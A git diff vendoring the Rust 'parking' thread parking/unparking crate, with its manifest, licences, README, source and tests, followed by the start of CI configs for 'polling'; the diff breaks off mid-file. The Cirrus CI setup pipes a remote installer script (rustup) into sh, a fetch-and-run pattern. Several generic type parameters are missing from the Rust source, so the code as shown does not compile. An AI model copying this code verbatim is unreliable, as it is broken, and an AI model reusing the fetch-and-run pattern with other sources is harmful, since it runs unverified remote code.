100644 index 0000000..59fad1f --- /dev/null +++ b/lib/malio/parking/.github/workflows/release.yml @@ -0,0 +1,22 @@ +name: Release + +permissions: + contents: write + +on: + push: + tags: + - v[0-9]+.* + +jobs: + create-release: + if: github.repository_owner == 'smol-rs' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: taiki-e/create-gh-release-action@v1 + with: + changelog: CHANGELOG.md + branch: master + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/lib/malio/parking/.gitignore b/lib/malio/parking/.gitignore new file mode 100644 index 0000000..96ef6c0 --- /dev/null +++ b/lib/malio/parking/.gitignore @@ -0,0 +1,2 @@ +/target +Cargo.lock diff --git a/lib/malio/parking/CHANGELOG.md b/lib/malio/parking/CHANGELOG.md new file mode 100644 index 0000000..78a9e53 --- /dev/null +++ b/lib/malio/parking/CHANGELOG.md @@ -0,0 +1,47 @@ +# Version 2.2.1 + +- Specify the reason for using `parking` in the docs. (#25) + +# Version 2.2.0 + +- Implement `From` for `Waker`. This enables `Waker`s to be constructed from `Unparker`s without allocating. (#18) + +# Version 2.1.1 + +- Update docs with new logo. (#14) + +# Version 2.1.0 + +- Add will_unpark and same_parker methods to Unparker. (#10) + +# Version 2.0.0 + +- Return `bool` from `unpark()` methods. + +# Version 1.0.6 + +- Add more details on licensing. + +# Version 1.0.5 + +- Implement `Default` for `Parker`. + +# Version 1.0.4 + +- Forbid unsafe code. + +# Version 1.0.3 + +- Improved documentation. + +# Version 1.0.2 + +- Remove all unsafe code. + +# Version 1.0.1 + +- Explain `Parker::park()` better. + +# Version 1.0.0 + +- Initial version. diff --git a/lib/malio/parking/Cargo.toml b/lib/malio/parking/Cargo.toml new file mode 100644 index 0000000..24f6fce --- /dev/null +++ b/lib/malio/parking/Cargo.toml @@ -0,0 +1,33 @@ +[package] +name = "parking" +# When publishing a new version: +# - Update CHANGELOG.md +# - Create "v2.x.y" git tag +version = "2.2.1" +authors = [ + "Stjepan Glavina ", + "The Rust Project Developers", +] +edition = "2018" +rust-version = "1.51" +description = "Thread parking and unparking" +license = "Apache-2.0 OR MIT" +repository = "https://github.com/smol-rs/parking" +homepage = "https://github.com/smol-rs/parking" +documentation = "https://docs.rs/parking" +keywords = ["park", "notify", "thread", "wake", "condition"] +categories = ["concurrency"] +exclude = ["/.*"] + +# The `loom` feature, combined with the `loom` rustflag, enables a reimplementation +# of `parking` using `loom`. This feature is perma-unstable and should not be used +# in stable code. +[target.'cfg(loom)'.dependencies.loom] +version = "0.7" +optional = true + +[lints.rust] +unexpected_cfgs = { level = "warn", check-cfg = ["cfg(loom)"] } + +[dev-dependencies] +easy-parallel = "3.0.0" diff --git a/lib/malio/parking/LICENSE-APACHE b/lib/malio/parking/LICENSE-APACHE new file mode 100644 index 0000000..16fe87b --- /dev/null +++ b/lib/malio/parking/LICENSE-APACHE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + +TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + +1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + +2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + +3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + +4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + +5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + +6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + +7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + +8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + +9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + +END OF TERMS AND CONDITIONS + +APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + +Copyright [yyyy] [name of copyright owner] + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. diff --git a/lib/malio/parking/LICENSE-MIT b/lib/malio/parking/LICENSE-MIT new file mode 100644 index 0000000..31aa793 --- /dev/null +++ b/lib/malio/parking/LICENSE-MIT @@ -0,0 +1,23 @@ +Permission is hereby granted, free of charge, to any +person obtaining a copy of this software and associated +documentation files (the "Software"), to deal in the +Software without restriction, including without +limitation the rights to use, copy, modify, merge, +publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software +is furnished to do so, subject to the following +conditions: + +The above copyright notice and this permission notice +shall be included in all copies or substantial portions +of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT +SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR +IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +DEALINGS IN THE SOFTWARE. diff --git a/lib/malio/parking/LICENSE-THIRD-PARTY b/lib/malio/parking/LICENSE-THIRD-PARTY new file mode 100644 index 0000000..5bbf2ef --- /dev/null +++ b/lib/malio/parking/LICENSE-THIRD-PARTY @@ -0,0 +1,9 @@ +=============================================================================== + +Copyright 2014-2020 The Rust Project Developers + +Licensed under the Apache License, Version 2.0 or the MIT license +, at your +option. All files in the project carrying such notice may not be +copied, modified, or distributed except according to those terms. diff --git a/lib/malio/parking/README.md b/lib/malio/parking/README.md new file mode 100644 index 0000000..058aed8 --- /dev/null +++ b/lib/malio/parking/README.md @@ -0,0 +1,67 @@ +# parking + +[![Build](https://github.com/smol-rs/parking/workflows/Build%20and%20test/badge.svg)]( +https://github.com/smol-rs/parking/actions) +[![License](https://img.shields.io/badge/license-Apache--2.0_OR_MIT-blue.svg)]( +https://github.com/smol-rs/parking) +[![Cargo](https://img.shields.io/crates/v/parking.svg)]( +https://crates.io/crates/parking) +[![Documentation](https://docs.rs/parking/badge.svg)]( +https://docs.rs/parking) + +Thread parking and unparking. + +A `Parker` is in either the notified or unnotified state. The `park()` method blocks +the current thread until the `Parker` becomes notified and then puts it back into the unnotified +state. The `unpark()` method puts it into the notified state. + +This API is similar to [`thread::park()`] and [`Thread::unpark()`] from the standard library. +The difference is that the state "token" managed by those functions is shared across an entire +thread, and anyone can call [`thread::current()`] to access it. If you use `park` and `unpark`, +but you also call a function that uses `park` and `unpark` internally, that function could +cause a deadlock by consuming a wakeup that was intended for you. The `Parker` object in this +crate avoids that problem by managing its own state, which isn't shared with unrelated callers. + +[`thread::park()`]: https://doc.rust-lang.org/std/thread/fn.park.html +[`Thread::unpark()`]: https://doc.rust-lang.org/std/thread/struct.Thread.html#method.unpark +[`thread::current()`]: https://doc.rust-lang.org/std/thread/fn.current.html + +## Examples + +```rust +use std::thread; +use std::time::Duration; +use parking::Parker; + +let p = Parker::new(); +let u = p.unparker(); + +// Notify the parker. +u.unpark(); + +// Wakes up immediately because the parker is notified. +p.park(); + +thread::spawn(move || { + thread::sleep(Duration::from_millis(500)); + u.unpark(); +}); + +// Wakes up when `u.unpark()` notifies and then goes back into unnotified state. +p.park(); +``` + +## License + +Licensed under either of + + * Apache License, Version 2.0 ([LICENSE-APACHE](LICENSE-APACHE) or http://www.apache.org/licenses/LICENSE-2.0) + * MIT license ([LICENSE-MIT](LICENSE-MIT) or http://opensource.org/licenses/MIT) + +at your option. + +#### Contribution + +Unless you explicitly state otherwise, any contribution intentionally submitted +for inclusion in the work by you, as defined in the Apache-2.0 license, shall be +dual licensed as above, without any additional terms or conditions. diff --git a/lib/malio/parking/src/lib.rs b/lib/malio/parking/src/lib.rs new file mode 100644 index 0000000..1e96674 --- /dev/null +++ b/lib/malio/parking/src/lib.rs @@ -0,0 +1,449 @@ +//! Thread parking and unparking. +//! +//! A [`Parker`] is in either the notified or unnotified state. The [`park()`][`Parker::park()`] method blocks +//! the current thread until the [`Parker`] becomes notified and then puts it back into the unnotified +//! state. The [`unpark()`][`Unparker::unpark()`] method puts it into the notified state. +//! +//! This API is similar to [`thread::park()`] and [`Thread::unpark()`] from the standard library. +//! The difference is that the state "token" managed by those functions is shared across an entire +//! thread, and anyone can call [`thread::current()`] to access it. If you use `park` and `unpark`, +//! but you also call a function that uses `park` and `unpark` internally, that function could +//! cause a deadlock by consuming a wakeup that was intended for you. The [`Parker`] object in this +//! crate avoids that problem by managing its own state, which isn't shared with unrelated callers. +//! +//! [`thread::park()`]: https://doc.rust-lang.org/std/thread/fn.park.html +//! [`Thread::unpark()`]: https://doc.rust-lang.org/std/thread/struct.Thread.html#method.unpark +//! [`thread::current()`]: https://doc.rust-lang.org/std/thread/fn.current.html +//! +//! # Examples +//! +//! ``` +//! use std::thread; +//! use std::time::Duration; +//! use parking::Parker; +//! +//! let p = Parker::new(); +//! let u = p.unparker(); +//! +//! // Notify the parker. +//! u.unpark(); +//! +//! // Wakes up immediately because the parker is notified. +//! p.park(); +//! +//! thread::spawn(move || { +//! thread::sleep(Duration::from_millis(500)); +//! u.unpark(); +//! }); +//! +//! // Wakes up when `u.unpark()` notifies and then goes back into unnotified state. +//! p.park(); +//! ``` + +#![forbid(unsafe_code)] +#![warn(missing_docs, missing_debug_implementations, rust_2018_idioms)] +#![doc( + html_favicon_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] +#![doc( + html_logo_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] + +#[cfg(not(all(loom, feature = "loom")))] +use std::sync; + +#[cfg(all(loom, feature = "loom"))] +use loom::sync; + +use std::cell::Cell; +use std::fmt; +use std::marker::PhantomData; +use std::sync::Arc; +use std::task::{Wake, Waker}; +use std::time::Duration; + +#[cfg(not(all(loom, feature = "loom")))] +use std::time::Instant; + +use sync::atomic::AtomicUsize; +use sync::atomic::Ordering::SeqCst; +use sync::{Condvar, Mutex}; + +/// Creates a parker and an associated unparker. +/// +/// # Examples +/// +/// ``` +/// let (p, u) = parking::pair(); +/// ``` +pub fn pair() -> (Parker, Unparker) { + let p = Parker::new(); + let u = p.unparker(); + (p, u) +} + +/// Waits for a notification. +pub struct Parker { + unparker: Unparker, + _marker: PhantomData>, +} + +impl Parker { + /// Creates a new parker. + /// + /// # Examples + /// + /// ``` + /// use parking::Parker; + /// + /// let p = Parker::new(); + /// ``` + /// + pub fn new() -> Parker { + Parker { + unparker: Unparker { + inner: Arc::new(Inner { + state: AtomicUsize::new(EMPTY), + lock: Mutex::new(()), + cvar: Condvar::new(), + }), + }, + _marker: PhantomData, + } + } + + /// Blocks until notified and then goes back into unnotified state. + /// + /// # Examples + /// + /// ``` + /// use parking::Parker; + /// + /// let p = Parker::new(); + /// let u = p.unparker(); + /// + /// // Notify the parker. + /// u.unpark(); + /// + /// // Wakes up immediately because the parker is notified. + /// p.park(); + /// ``` + pub fn park(&self) { + self.unparker.inner.park(None); + } + + /// Blocks until notified and then goes back into unnotified state, or times out after + /// `duration`. + /// + /// Returns `true` if notified before the timeout. + /// + /// # Examples + /// + /// ``` + /// use std::time::Duration; + /// use parking::Parker; + /// + /// let p = Parker::new(); + /// + /// // Wait for a notification, or time out after 500 ms. + /// p.park_timeout(Duration::from_millis(500)); + /// ``` + #[cfg(not(loom))] + pub fn park_timeout(&self, duration: Duration) -> bool { + self.unparker.inner.park(Some(duration)) + } + + /// Blocks until notified and then goes back into unnotified state, or times out at `instant`. + /// + /// Returns `true` if notified before the deadline. + /// + /// # Examples + /// + /// ``` + /// use std::time::{Duration, Instant}; + /// use parking::Parker; + /// + /// let p = Parker::new(); + /// + /// // Wait for a notification, or time out after 500 ms. + /// p.park_deadline(Instant::now() + Duration::from_millis(500)); + /// ``` + #[cfg(not(loom))] + pub fn park_deadline(&self, instant: Instant) -> bool { + self.unparker + .inner + .park(Some(instant.saturating_duration_since(Instant::now()))) + } + + /// Notifies the parker. + /// + /// Returns `true` if this call is the first to notify the parker, or `false` if the parker + /// was already notified. + /// + /// # Examples + /// + /// ``` + /// use std::thread; + /// use std::time::Duration; + /// use parking::Parker; + /// + /// let p = Parker::new(); + /// + /// assert_eq!(p.unpark(), true); + /// assert_eq!(p.unpark(), false); + /// + /// // Wakes up immediately. + /// p.park(); + /// ``` + pub fn unpark(&self) -> bool { + self.unparker.unpark() + } + + /// Returns a handle for unparking. + /// + /// The returned [`Unparker`] can be cloned and shared among threads. + /// + /// # Examples + /// + /// ``` + /// use parking::Parker; + /// + /// let p = Parker::new(); + /// let u = p.unparker(); + /// + /// // Notify the parker. + /// u.unpark(); + /// + /// // Wakes up immediately because the parker is notified. + /// p.park(); + /// ``` + pub fn unparker(&self) -> Unparker { + self.unparker.clone() + } +} + +impl Default for Parker { + fn default() -> Parker { + Parker::new() + } +} + +impl fmt::Debug for Parker { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.pad("Parker { .. }") + } +} + +/// Notifies a parker. +pub struct Unparker { + inner: Arc, +} + +impl Unparker { + /// Notifies the associated parker. + /// + /// Returns `true` if this call is the first to notify the parker, or `false` if the parker + /// was already notified. + /// + /// # Examples + /// + /// ``` + /// use std::thread; + /// use std::time::Duration; + /// use parking::Parker; + /// + /// let p = Parker::new(); + /// let u = p.unparker(); + /// + /// thread::spawn(move || { + /// thread::sleep(Duration::from_millis(500)); + /// u.unpark(); + /// }); + /// + /// // Wakes up when `u.unpark()` notifies and then goes back into unnotified state. + /// p.park(); + /// ``` + pub fn unpark(&self) -> bool { + self.inner.unpark() + } + + /// Indicates whether this unparker will unpark the associated parker. + /// + /// This can be used to avoid unnecessary work before calling `unpark()`. + /// + /// # Examples + /// + /// ``` + /// use parking::Parker; + /// + /// let p = Parker::new(); + /// let u = p.unparker(); + /// + /// assert!(u.will_unpark(&p)); + /// ``` + pub fn will_unpark(&self, parker: &Parker) -> bool { + Arc::ptr_eq(&self.inner, &parker.unparker.inner) + } + + /// Indicates whether two unparkers will unpark the same parker. + /// + /// # Examples + /// + /// ``` + /// use parking::Parker; + /// + /// let p = Parker::new(); + /// let u1 = p.unparker(); + /// let u2 = p.unparker(); + /// + /// assert!(u1.same_parker(&u2)); + /// ``` + pub fn same_parker(&self, other: &Unparker) -> bool { + Arc::ptr_eq(&self.inner, &other.inner) + } +} + +impl fmt::Debug for Unparker { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.pad("Unparker { .. }") + } +} + +impl Clone for Unparker { + fn clone(&self) -> Unparker { + Unparker { + inner: self.inner.clone(), + } + } +} + +impl From for Waker { + fn from(up: Unparker) -> Self { + Waker::from(up.inner) + } +} + +const EMPTY: usize = 0; +const PARKED: usize = 1; +const NOTIFIED: usize = 2; + +struct Inner { + state: AtomicUsize, + lock: Mutex<()>, + cvar: Condvar, +} + +impl Inner { + fn park(&self, timeout: Option) -> bool { + // If we were previously notified then we consume this notification and return quickly. + if self + .state + .compare_exchange(NOTIFIED, EMPTY, SeqCst, SeqCst) + .is_ok() + { + return true; + } + + // If the timeout is zero, then there is no need to actually block. + if let Some(dur) = timeout { + if dur == Duration::from_millis(0) { + return false; + } + } + + // Otherwise we need to coordinate going to sleep. + let mut m = self.lock.lock().unwrap(); + + match self.state.compare_exchange(EMPTY, PARKED, SeqCst, SeqCst) { + Ok(_) => {} + // Consume this notification to avoid spurious wakeups in the next park. + Err(NOTIFIED) => { + // We must read `state` here, even though we know it will be `NOTIFIED`. This is + // because `unpark` may have been called again since we read `NOTIFIED` in the + // `compare_exchange` above. We must perform an acquire operation that synchronizes + // with that `unpark` to observe any writes it made before the call to `unpark`. To + // do that we must read from the write it made to `state`. + let old = self.state.swap(EMPTY, SeqCst); + assert_eq!(old, NOTIFIED, "park state changed unexpectedly"); + return true; + } + Err(n) => panic!("inconsistent park_timeout state: {}", n), + } + + match timeout { + None => { + loop { + // Block the current thread on the conditional variable. + m = self.cvar.wait(m).unwrap(); + + if self + .state + .compare_exchange(NOTIFIED, EMPTY, SeqCst, SeqCst) + .is_ok() + { + // got a notification + return true; + } + } + } + Some(timeout) => { + #[cfg(not(loom))] + { + // Wait with a timeout, and if we spuriously wake up or otherwise wake up from a + // notification we just want to unconditionally set `state` back to `EMPTY`, either + // consuming a notification or un-flagging ourselves as parked. + let (_m, _result) = self.cvar.wait_timeout(m, timeout).unwrap(); + + match self.state.swap(EMPTY, SeqCst) { + NOTIFIED => true, // got a notification + PARKED => false, // no notification + n => panic!("inconsistent park_timeout state: {}", n), + } + } + + #[cfg(loom)] + { + let _ = timeout; + panic!("park_timeout is not supported under loom"); + } + } + } + } + + pub fn unpark(&self) -> bool { + // To ensure the unparked thread will observe any writes we made before this call, we must + // perform a release operation that `park` can synchronize with. To do that we must write + // `NOTIFIED` even if `state` is already `NOTIFIED`. That is why this must be a swap rather + // than a compare-and-swap that returns if it reads `NOTIFIED` on failure. + match self.state.swap(NOTIFIED, SeqCst) { + EMPTY => return true, // no one was waiting + NOTIFIED => return false, // already unparked + PARKED => {} // gotta go wake someone up + _ => panic!("inconsistent state in unpark"), + } + + // There is a period between when the parked thread sets `state` to `PARKED` (or last + // checked `state` in the case of a spurious wakeup) and when it actually waits on `cvar`. + // If we were to notify during this period it would be ignored and then when the parked + // thread went to sleep it would never wake up. Fortunately, it has `lock` locked at this + // stage so we can acquire `lock` to wait until it is ready to receive the notification. + // + // Releasing `lock` before the call to `notify_one` means that when the parked thread wakes + // it doesn't get woken only to have to wait for us to release `lock`. + drop(self.lock.lock().unwrap()); + self.cvar.notify_one(); + true + } +} + +impl Wake for Inner { + #[inline] + fn wake(self: Arc) { + self.unpark(); + } + + #[inline] + fn wake_by_ref(self: &Arc) { + self.unpark(); + } +} diff --git a/lib/malio/parking/tests/loom.rs b/lib/malio/parking/tests/loom.rs new file mode 100644 index 0000000..9ccf92d --- /dev/null +++ b/lib/malio/parking/tests/loom.rs @@ -0,0 +1,28 @@ +#![cfg(loom)] + +#[test] +fn smoke() { + loom::model(|| { + let (p, u) = parking::pair(); + + loom::thread::spawn(move || { + p.park(); + }); + + u.unpark(); + }); +} + +#[test] +fn yield_then_unpark() { + loom::model(|| { + let (p, u) = parking::pair(); + + loom::thread::spawn(move || { + loom::thread::yield_now(); + u.unpark(); + }); + + p.park(); + }); +} diff --git a/lib/malio/parking/tests/parking.rs b/lib/malio/parking/tests/parking.rs new file mode 100644 index 0000000..2701e7c --- /dev/null +++ b/lib/malio/parking/tests/parking.rs @@ -0,0 +1,145 @@ +use std::future::Future; +use std::task::{Context, Poll, Waker}; +use std::thread::sleep; +use std::time::{Duration, Instant}; + +use easy_parallel::Parallel; +use parking::Parker; + +#[test] +fn park_timeout_unpark_before() { + let (p, u) = parking::pair(); + for _ in 0..10 { + u.unpark(); + p.park_timeout(Duration::from_millis(u32::MAX as u64)); + } +} + +#[test] +fn park_timeout_unpark_not_called() { + let p = Parker::new(); + for _ in 0..10 { + p.park_timeout(Duration::from_millis(10)); + } +} + +#[test] +fn park_timeout_unpark_called_other_thread() { + for _ in 0..10 { + let p = Parker::new(); + let u = p.unparker(); + + Parallel::new() + .add(move || { + sleep(Duration::from_millis(50)); + u.unpark(); + }) + .add(move || { + p.park_timeout(Duration::from_millis(u32::MAX as u64)); + }) + .run(); + } +} + +#[test] +fn park_deadline_unpark_called_other_thread() { + for _ in 0..10 { + let p = Parker::new(); + let u = p.unparker(); + + Parallel::new() + .add(move || { + sleep(Duration::from_millis(50)); + u.unpark(); + }) + .add(move || { + let deadline = Instant::now() + Duration::from_micros(u32::MAX as u64); + p.park_deadline(deadline); + }) + .run(); + } +} + +#[test] +fn park_then_wake_from_other_thread() { + for _ in 0..10 { + let (p, u) = parking::pair(); + + Parallel::new() + .add(move || { + sleep(Duration::from_millis(50)); + u.unpark(); + }) + .add(move || { + let start = Instant::now(); + p.park(); + assert!(Instant::now().duration_since(start) >= Duration::from_millis(50)); + }) + .run(); + } +} + +#[test] +fn unpark() { + let p = Parker::default(); + + assert!(p.unpark()); + assert!(!p.unpark()); +} + +#[test] +fn same_parker() { + let (p1, u1) = parking::pair(); + let (p2, u2) = parking::pair(); + + assert!(u1.will_unpark(&p1)); + assert!(!u1.will_unpark(&p2)); + assert!(u1.same_parker(&u1.clone())); + assert!(!u1.same_parker(&u2)); +} + +#[test] +fn waker() { + let (p, u) = parking::pair(); + let waker: Waker = u.into(); + + waker.wake(); + assert!(p.park_timeout(Duration::from_secs(2))); +} + +#[test] +fn future() { + struct Yield(bool); + + impl Future for Yield { + type Output = (); + + fn poll(mut self: std::pin::Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + if self.0 { + Poll::Ready(()) + } else { + self.0 = true; + cx.waker().wake_by_ref(); + Poll::Pending + } + } + } + + let (p, u) = parking::pair(); + let waker = u.into(); + let mut context = Context::from_waker(&waker); + + let mut future = Box::pin(Yield(false)); + + assert!(!p.park_timeout(Duration::from_millis(0))); + assert_eq!(future.as_mut().poll(&mut context), Poll::Pending); + assert!(p.park_timeout(Duration::from_millis(0))); + assert_eq!(future.as_mut().poll(&mut context), Poll::Ready(())); + assert!(!p.park_timeout(Duration::from_millis(0))); +} + +#[test] +fn debug_for_coverage() { + let (p, u) = parking::pair(); + let _ = format!("{:?} {:?}", &p, &u); +} diff --git a/lib/malio/polling/.cirrus.yml b/lib/malio/polling/.cirrus.yml new file mode 100644 index 0000000..b3bea56 --- /dev/null +++ b/lib/malio/polling/.cirrus.yml @@ -0,0 +1,61 @@ +only_if: $CIRRUS_TAG == '' && ($CIRRUS_PR != '' || $CIRRUS_BRANCH == 'master') +auto_cancellation: $CIRRUS_BRANCH != 'master' +env: + CARGO_INCREMENTAL: '0' + CARGO_NET_GIT_FETCH_WITH_CLI: 'true' + CARGO_NET_RETRY: '10' + CARGO_REGISTRIES_CRATES_IO_PROTOCOL: 'sparse' + CARGO_TERM_COLOR: always + RUST_BACKTRACE: '1' + RUSTDOCFLAGS: -D warnings + RUSTFLAGS: -D warnings + RUSTUP_MAX_RETRIES: '10' + +freebsd_task: + name: test ($TARGET) + freebsd_instance: + image_family: freebsd-13-4 + matrix: + - env: + TARGET: x86_64-unknown-freebsd + - env: + TARGET: i686-unknown-freebsd + setup_script: + - pkg install -y git + - curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y --profile minimal --default-toolchain stable --target $TARGET + test_script: + # https://github.com/cirruslabs/cirrus-ci-docs/issues/483 + - sudo sysctl net.inet.tcp.blackhole=0 + - . $HOME/.cargo/env + - cargo test --target $TARGET + +netbsd_task: + name: test ($TARGET) + compute_engine_instance: + image_project: pg-ci-images + # https://github.com/anarazel/pg-vm-images/blob/main/packer/netbsd.pkrvars.hcl + image: family/pg-ci-netbsd-vanilla + platform: netbsd + env: + TARGET: x86_64-unknown-netbsd + setup_script: + - pkgin -y install git + - curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y --profile minimal --default-toolchain stable + test_script: + - . $HOME/.cargo/env + - cargo test + +openbsd_task: + name: test ($TARGET) + compute_engine_instance: + image_project: pg-ci-images + # https://github.com/anarazel/pg-vm-images/blob/main/packer/openbsd.pkrvars.hcl + image: family/pg-ci-openbsd-vanilla + platform: openbsd + env: + TARGET: x86_64-unknown-openbsd + setup_script: + # OpenBSD is tier 3 target, so install rust from package manager instead of rustup + - pkg_add git rust + test_script: + - cargo test diff --git a/lib/malio/polling/.github/dependabot.yml b/lib/malio/polling/.github/dependabot.yml new file mode 100644 index 0000000..52f7945 --- /dev/null +++ b/lib/malio/polling/.github/dependabot.yml @@ -0,0 +1,9 @@ +version: 2 +updates: + - package-ecosystem: cargo + directory: / + schedule: + interval: weekly + commit-message: + prefix: '' + labels: [] diff --git a/lib/malio/polling/.github/workflows/ci.yml b/lib/malio/polling/.github/workflows/ci.yml new file mode 100644 index 0000000..f06bbb0 --- /dev/null +++ b/lib/malio/polling/.github/workflows/ci.yml @@ 